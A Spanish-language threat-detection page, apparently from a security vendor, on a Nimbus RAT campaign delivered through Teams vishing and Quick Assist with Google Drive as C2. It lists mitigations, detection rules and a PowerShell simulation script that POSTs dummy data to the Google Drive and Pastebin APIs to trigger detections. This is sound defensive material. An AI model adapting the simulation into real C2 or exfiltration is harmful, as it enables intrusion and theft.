Nimbus RAT Entregado a Través de Microsoft Teams y Google Drive
Detection stack
- AIDR
- Alert
- ETL
- Query
Resumen
Los actores de amenazas utilizaron el phishing de voz de Microsoft Teams junto con Quick Assist para desplegar un troyano de acceso remoto basado en Java conocido como Nimbus RAT. El malware se basa en Google Drive y Google Sheets como sus canales de comando y control e incluye su propio entorno de ejecución OpenJDK integrado. Para el robo de credenciales, utiliza un falso aviso de seguridad de Windows o la API CredUI nativa para capturar secretos del usuario.
Investigación
El equipo de Respuesta a Amenazas de eSentire reconstruyó la cadena completa de intrusión utilizando registros de flujo de correo, telemetría de endpoints y análisis estático del malware Java. La campaña combinó bombardeo de correo electrónico, una llamada de suplantación de voz basada en Teams, soporte remoto de Quick Assist, una hoja de instrucciones alojada en Pastebin y un inquilino de SharePoint comprometido utilizado para distribuir la carga útil.
Mitigación
Las defensas recomendadas incluyen desactivar la mensajería externa de Teams de inquilinos desconocidos, bloquear Quick Assist donde no sea necesario, alertar sobre picos en la actividad de bombardeo de correo electrónico, monitorear javaw.exe ejecución desde ubicaciones inusuales y detectar llamadas sospechosas a la API de Google Drive iniciadas por procesos inesperados.
Respuesta
Si se detecta actividad de Nimbus RAT, aislar el sistema afectado, terminar todos los javaw.exe procesos relacionados, eliminar el C:ProgramDataInboxCorePro directorio y cualquier acceso directo asociado de inicio y considerar una reimagen completa del sistema. Revisar también los registros de auditoría de Google Workspace para identificar cualquier concesión no autorizada de aplicaciones de Google Drive.
Flujo de Ataque
Detecciones
Ejecución de Apps Java desde Ubicación Sospechosa (vía creación_proceso)
Ver
Binario / Scripts Sospechosos en Ubicación de Inicio Automático (vía evento_archivo)
Ver
Posible Dominio de GoogleApis Resuelto por Proceso Conocido Abusado (vía consulta_dns)
Ver
Posible Actividad de Utilidad de Comando y Control de Google (vía proxy)
Ver
IOCs (HashSha256) para detectar: Nimbus RAT: Cómo los Actores de Amenazas Están Abusando de Microsoft Teams y Google Drive para Desplegar un RAT de Java
Ver
Detección del Uso Sospechoso de APIs de Google y Pastebin [Proxy]
Ver
Detección de Ejecución de Nimbus RAT vía javaw.exe y Comandos de Reconocimiento [Creación de Proceso de Windows]
Ver
Ejecución de Quick Assist y regedit.exe en Ataque de Vishing [Registro de Eventos de Seguridad de Microsoft Windows]
Ver
Ejecución de Simulación
Prerrequisito: La Verificación Previa de Telemetría y Línea Base debe haberse aprobado.
Justificación: Esta sección detalla la ejecución precisa de la técnica del adversario (TTP) diseñada para activar la regla de detección. Los comandos y la narrativa DEBEN reflejar directamente los TTPs identificados y apuntar a generar la telemetría exacta esperada por la lógica de detección.
-
Narrativa de Ataque y Comandos:
El actor de la amenaza ya ha comprometido el endpoint con el binario de Nimbus RAT. Para establecer un canal C2 encubierto, el RAT emite dos solicitudes HTTP POST hacia afuera:- Llamada API de Google Drive – carga un pequeño payload JSON a
https://www.googleapis.com/drive/v3/files?uploadType=media, imitando el comportamiento de “descarga-payload” del RAT. - Pegar en Pastebin – publica una cadena de comando codificada en base-64 a
https://pastebin.com/api/api_post.phputilizando la clave de API pública.
Ambas solicitudes se ejecutan a través de
Invoke-WebRequestde PowerShell para asegurar que los registros del firewall contengan eldominiocampo (googleapis.comandpastebin.com). El atacante ejecuta los comandos bajo el contexto del usuario comprometido para mezclarse con la actividad normal. - Llamada API de Google Drive – carga un pequeño payload JSON a
-
Script de Prueba de Regresión:
# -------------------------------------------------------------- # Simulación C2 de Nimbus RAT – activa la regla Sigma en coincidencia de dominio # -------------------------------------------------------------- # 1. Carga simulada de API de Google Drive (sin autenticación – se centra en la telemetría de dominio) $googlePayload = @{ name = "dummy.txt"; mimeType = "text/plain" } | ConvertTo-Json $googleUri = "https://www.googleapis.com/drive/v3/files?uploadType=media" try { Invoke-WebRequest -Uri $googleUri -Method POST -Body $googlePayload ` -ContentType "application/json" -UseBasicParsing -ErrorAction Stop Write-Host "[+] Enviado carga simulada a API de Google Drive" } catch { Write-Warning "Solicitud a Google Drive fallida (esperado en sandbox): $_" } # 2. Publicación de API pública de Pastebin (requiere una clave de desarrollador – usando un marcador de posición) $pastebinKey = "YOUR_PUBLIC_API_KEY" # <-- reemplazar con una clave válida para una prueba real $pastebinText = "echo 'Comando simulado desde C2'" $pastebinUri = "https://pastebin.com/api/api_post.php" $pastebinBody = @{ api_dev_key = $pastebinKey api_option = "paste" api_paste_code = $pastebinText api_paste_private = "1" } try { Invoke-WebRequest -Uri $pastebinUri -Method POST -Body $pastebinBody ` -ContentType "application/x-www-form-urlencoded" -UseBasicParsing -ErrorAction Stop Write-Host "[+] Publicado comando simulado a Pastebin" } catch { Write-Warning "Solicitud a Pastebin fallida (esperado en sandbox): $_" } # -------------------------------------------------------------- # Fin de la simulación # -------------------------------------------------------------- -
Comandos de Limpieza:
# Eliminar cualquier archivo o variable temporal utilizada durante la simulación Remove-Variable -Name googlePayload, googleUri, pastebinKey, pastebinText, pastebinUri, pastebinBody -ErrorAction SilentlyContinue Write-Host "[*] Limpieza completa."